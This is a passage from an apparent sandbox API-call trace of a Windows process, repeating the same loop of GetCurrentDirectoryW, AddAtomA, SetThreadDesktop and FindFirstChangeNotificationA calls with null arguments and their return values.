lpBuffer="") returned 0x26 [0042.130] GetLastError () returned 0x3 [0042.130] AddAtomA (lpString=0x0) returned 0x0 [0042.130] AddAtomA (lpString=0x0) returned 0x0 [0042.130] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.130] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.130] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.130] GetLastError () returned 0x3 [0042.130] AddAtomA (lpString=0x0) returned 0x0 [0042.130] AddAtomA (lpString=0x0) returned 0x0 [0042.130] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.130] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.130] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.130] GetLastError () returned 0x3 [0042.130] AddAtomA (lpString=0x0) returned 0x0 [0042.130] AddAtomA (lpString=0x0) returned 0x0 [0042.130] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.130] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.130] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.130] GetLastError () returned 0x3 [0042.130] AddAtomA (lpString=0x0) returned 0x0 [0042.130] AddAtomA (lpString=0x0) returned 0x0 [0042.130] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.130] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.130] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.130] GetLastError () returned 0x3 [0042.130] AddAtomA (lpString=0x0) returned 0x0 [0042.130] AddAtomA (lpString=0x0) returned 0x0 [0042.130] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.131] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.131] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.131] GetLastError () returned 0x3 [0042.131] AddAtomA (lpString=0x0) returned 0x0 [0042.131] AddAtomA (lpString=0x0) returned 0x0 [0042.131] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.131] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.131] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.131] GetLastError () returned 0x3 [0042.131] AddAtomA (lpString=0x0) returned 0x0 [0042.131] AddAtomA (lpString=0x0) returned 0x0 [0042.131] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.131] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.131] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.131] GetLastError () returned 0x3 [0042.131] AddAtomA (lpString=0x0) returned 0x0 [0042.131] AddAtomA (lpString=0x0) returned 0x0 [0042.131] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.131] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.131] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.131] GetLastError () returned 0x3 [0042.131] AddAtomA (lpString=0x0) returned 0x0 [0042.131] AddAtomA (lpString=0x0) returned 0x0 [0042.131] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.131] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.131] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.131] GetLastError () returned 0x3 [0042.131] AddAtomA (lpString=0x0) returned 0x0 [0042.131] AddAtomA (lpString=0x0) returned 0x0 [0042.131] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.131] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.131] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.131] GetLastError () returned 0x3 [0042.131] AddAtomA (lpString=0x0) returned 0x0 [0042.131] AddAtomA (lpString=0x0) returned 0x0 [0042.131] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.131] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.131] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.131] GetLastError () returned 0x3 [0042.131] AddAtomA (lpString=0x0) returned 0x0 [0042.131] AddAtomA (lpString=0x0) returned 0x0 [0042.132] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.132] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.132] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.132] GetLastError () returned 0x3 [0042.132] AddAtomA (lpString=0x0) returned 0x0 [0042.132] AddAtomA (lpString=0x0) returned 0x0 [0042.132] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.132] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.132] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.132] GetLastError () returned 0x3 [0042.132] AddAtomA (lpString=0x0) returned 0x0 [0042.132] AddAtomA (lpString=0x0) returned 0x0 [0042.132] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.132] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.132] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.132] GetLastError () returned 0x3 [0042.132] AddAtomA (lpString=0x0) returned 0x0 [0042.132] AddAtomA (lpString=0x0) returned 0x0 [0042.132] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.132] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.132] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.132] GetLastError () returned 0x3 [0042.132] AddAtomA (lpString=0x0) returned 0x0 [0042.132] AddAtomA (lpString=0x0) returned 0x0 [0042.132] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.132] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.132] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.132] GetLastError () returned 0x3 [0042.132] AddAtomA (lpString=0x0) returned 0x0 [0042.132] AddAtomA (lpString=0x0) returned 0x0 [0042.132] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.132] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.132] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.132] GetLastError () returned 0x3 [0042.132] AddAtomA (lpString=0x0) returned 0x0 [0042.132] AddAtomA (lpString=0x0) returned 0x0 [0042.132] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.132] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.132] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.132] GetLastError () returned 0x3 [0042.133] AddAtomA (lpString=0x0) returned 0x0 [0042.133] AddAtomA (lpString=0x0) returned 0x0 [0042.133] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.133] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.133] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.133] GetLastError () returned 0x3 [0042.133] AddAtomA (lpString=0x0) returned 0x0 [0042.133] AddAtomA (lpString=0x0) returned 0x0 [0042.133] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.133] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.133] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.133] GetLastError () returned 0x3 [0042.133] AddAtomA (lpString=0x0) returned 0x0 [0042.133] AddAtomA (lpString=0x0) returned 0x0 [0042.133] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.133] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.133] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.133] GetLastError () returned 0x3 [0042.133] AddAtomA (lpString=0x0) returned 0x0 [0042.133] AddAtomA (lpString=0x0) returned 0x0 [0042.133] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.133] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.133] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.133] GetLastError () returned 0x3 [0042.133] AddAtomA (lpString=0x0) returned 0x0 [0042.133] AddAtomA (lpString=0x0) returned 0x0 [0042.133] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.133] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.133] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.133] GetLastError () returned 0x3 [0042.133] AddAtomA (lpString=0x0) returned 0x0 [0042.133] AddAtomA (lpString=0x0) returned 0x0 [0042.133] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.133] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.133] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.133] GetLastError () returned 0x3 [0042.133] AddAtomA (lpString=0x0) returned 0x0 [0042.133] AddAtomA (lpString=0x0) returned 0x0 [0042.133] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.133] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.134] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.134] GetLastError () returned 0x3 [0042.134] AddAtomA (lpString=0x0) returned 0x0 [0042.134] AddAtomA (lpString=0x0) returned 0x0 [0042.134] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.134] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.134] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.134] GetLastError () returned 0x3 [0042.134] AddAtomA (lpString=0x0) returned 0x0 [0042.134] AddAtomA (lpString=0x0) returned 0x0 [0042.134] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.134] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.134] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.134] GetLastError () returned 0x3 [0042.134] AddAtomA (lpString=0x0) returned 0x0 [0042.134] AddAtomA (lpString=0x0) returned 0x0 [0042.134] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.134] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.134] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.134] GetLastError () returned 0x3 [0042.134] AddAtomA (lpString=0x0) returned 0x0 [0042.134] AddAtomA (lpString=0x0) returned 0x0 [0042.134] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.134] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.134] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.134] GetLastError () returned 0x3 [0042.134] AddAtomA (lpString=0x0) returned 0x0 [0042.134] AddAtomA (lpString=0x0) returned 0x0 [0042.134] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.134] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.134] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.134] GetLastError () returned 0x3 [0042.134] AddAtomA (lpString=0x0) returned 0x0 [0042.134] AddAtomA (lpString=0x0) returned 0x0 [0042.134] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.134] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.134] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.134] GetLastError () returned 0x3 [0042.134] AddAtomA (lpString=0x0) returned 0x0 [0042.134] AddAtomA (lpString=0x0) returned 0x0 [0042.135] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.135] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.135] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.135] GetLastError () returned 0x3 [0042.135] AddAtomA (lpString=0x0) returned 0x0 [0042.135] AddAtomA (lpString=0x0) returned 0x0 [0042.135] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.135] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.135] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.135] GetLastError () returned 0x3 [0042.135] AddAtomA (lpString=0x0) returned 0x0 [0042.135] AddAtomA (lpString=0x0) returned 0x0 [0042.135] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.135] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.135] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.135] GetLastError () returned 0x3 [0042.135] AddAtomA (lpString=0x0) returned 0x0 [0042.135] AddAtomA (lpString=0x0) returned 0x0 [0042.135] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.135] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.135] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.135] GetLastError () returned 0x3 [0042.135] AddAtomA (lpString=0x0) returned 0x0 [0042.135] AddAtomA (lpString=0x0) returned 0x0 [0042.135] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.135] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.135] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.135] GetLastError () returned 0x3 [0042.135] AddAtomA (lpString=0x0) returned 0x0 [0042.135] AddAtomA (lpString=0x0) returned 0x0 [0042.135] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.135] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.135] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.135] GetLastError () returned 0x3 [0042.135] AddAtomA (lpString=0x0) returned 0x0 [0042.135] AddAtomA (lpString=0x0) returned 0x0 [0042.135] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.135] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.135] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.135] GetLastError () returned 0x3 [0042.136] AddAtomA (lpString=0x0) returned 0x0 [0042.136] AddAtomA (lpString=0x0) returned 0x0 [0042.136] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.136] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.136] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.136] GetLastError () returned 0x3 [0042.136] AddAtomA (lpString=0x0) returned 0x0 [0042.136] AddAtomA (lpString=0x0) returned 0x0 [0042.136] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.136] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.136] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.136] GetLastError () returned 0x3 [0042.136] AddAtomA (lpString=0x0) returned 0x0 [0042.136] AddAtomA (lpString=0x0) returned 0x0 [0042.136] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.136] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.136] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.136] GetLastError () returned 0x3 [0042.136] AddAtomA (lpString=0x0) returned 0x0 [0042.136] AddAtomA (lpString=0x0) returned 0x0 [0042.136] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.136] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.136] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.136] GetLastError () returned 0x3 [0042.136] AddAtomA (lpString=0x0) returned 0x0 [0042.136] AddAtomA (lpString=0x0) returned 0x0 [0042.136] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.136] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.136] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.136] GetLastError () returned 0x3 [0042.136] AddAtomA (lpString=0x0) returned 0x0 [0042.136] AddAtomA (lpString=0x0) returned 0x0 [0042.136] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.136] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.136] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.136] GetLastError () returned 0x3 [0042.136] AddAtomA (lpString=0x0) returned 0x0 [0042.136] AddAtomA (lpString=0x0) returned 0x0 [0042.136] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.137] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.137] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.137] GetLastError () returned 0x3 [0042.137] AddAtomA (lpString=0x0) returned 0x0 [0042.137] AddAtomA (lpString=0x0) returned 0x0 [0042.137] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.137] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.137] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.137] GetLastError () returned 0x3 [0042.137] AddAtomA (lpString=0x0) returned 0x0 [0042.137] AddAtomA (lpString=0x0) returned 0x0 [0042.137] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.137] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.137] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.137] GetLastError () returned 0x3 [0042.137] AddAtomA (lpString=0x0) returned 0x0 [0042.137] AddAtomA (lpString=0x0) returned 0x0 [0042.137] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.137] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.137] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.137] GetLastError () returned 0x3 [0042.137] AddAtomA (lpString=0x0) returned 0x0 [0042.137] AddAtomA (lpString=0x0) returned 0x0 [0042.137] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.137] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.137] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.138] GetLastError () returned 0x3 [0042.138] AddAtomA (lpString=0x0) returned 0x0 [0042.138] AddAtomA (lpString=0x0) returned 0x0 [0042.138] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.138] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.138] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.138] GetLastError () returned 0x3 [0042.138] AddAtomA (lpString=0x0) returned 0x0 [0042.138] AddAtomA (lpString=0x0) returned 0x0 [0042.138] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.138] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.138] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.138] GetLastError () returned 0x3 [0042.138] AddAtomA (lpString=0x0) returned 0x0 [0042.138] AddAtomA (lpString=0x0) returned 0x0 [0042.138] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.138] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.138] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.138] GetLastError () returned 0x3 [0042.138] AddAtomA (lpString=0x0) returned 0x0 [0042.138] AddAtomA (lpString=0x0) returned 0x0 [0042.138] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.138] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.138] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.138] GetLastError () returned 0x3 [0042.138] AddAtomA (lpString=0x0) returned 0x0 [0042.139] AddAtomA (lpString=0x0) returned 0x0 [0042.139] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.139] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.139] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.139] GetLastError () returned 0x3 [0042.139] AddAtomA (lpString=0x0) returned 0x0 [0042.139] AddAtomA (lpString=0x0) returned 0x0 [0042.139] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.139] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.139] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.139] GetLastError () returned 0x3 [0042.139] AddAtomA (lpString=0x0) returned 0x0 [0042.139] AddAtomA (lpString=0x0) returned 0x0 [0042.139] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.139] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.139] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.139] GetLastError () returned 0x3 [0042.139] AddAtomA (lpString=0x0) returned 0x0 [0042.139] AddAtomA (lpString=0x0) returned 0x0 [0042.139] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.139] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.139] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.139] GetLastError () returned 0x3 [0042.139] AddAtomA (lpString=0x0) returned 0x0 [0042.139] AddAtomA (lpString=0x0) returned 0x0 [0042.139] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.139] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.139] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.139] GetLastError () returned 0x3 [0042.139] AddAtomA (lpString=0x0) returned 0x0 [0042.139] AddAtomA (lpString=0x0) returned 0x0 [0042.139] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.139] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.139] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.139] GetLastError () returned 0x3 [0042.139] AddAtomA (lpString=0x0) returned 0x0 [0042.139] AddAtomA (lpString=0x0) returned 0x0 [0042.139] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.139] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.139] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.139] GetLastError () returned 0x3 [0042.139] AddAtomA (lpString=0x0) returned 0x0 [0042.139] AddAtomA (lpString=0x0) returned 0x0 [0042.140] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.140] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.140] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.140] GetLastError () returned 0x3 [0042.140] AddAtomA (lpString=0x0) returned 0x0 [0042.140] AddAtomA (lpString=0x0) returned 0x0 [0042.140] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.140] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.140] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.140] GetLastError () returned 0x3 [0042.140] AddAtomA (lpString=0x0) returned 0x0 [0042.140] AddAtomA (lpString=0x0) returned 0x0 [0042.140] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.140] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.140] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.140] GetLastError () returned 0x3 [0042.140] AddAtomA (lpString=0x0) returned 0x0 [0042.140] AddAtomA (lpString=0x0) returned 0x0 [0042.140] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.140] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.140] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.140] GetLastError () returned 0x3 [0042.140] AddAtomA (lpString=0x0) returned 0x0 [0042.140] AddAtomA (lpString=0x0) returned 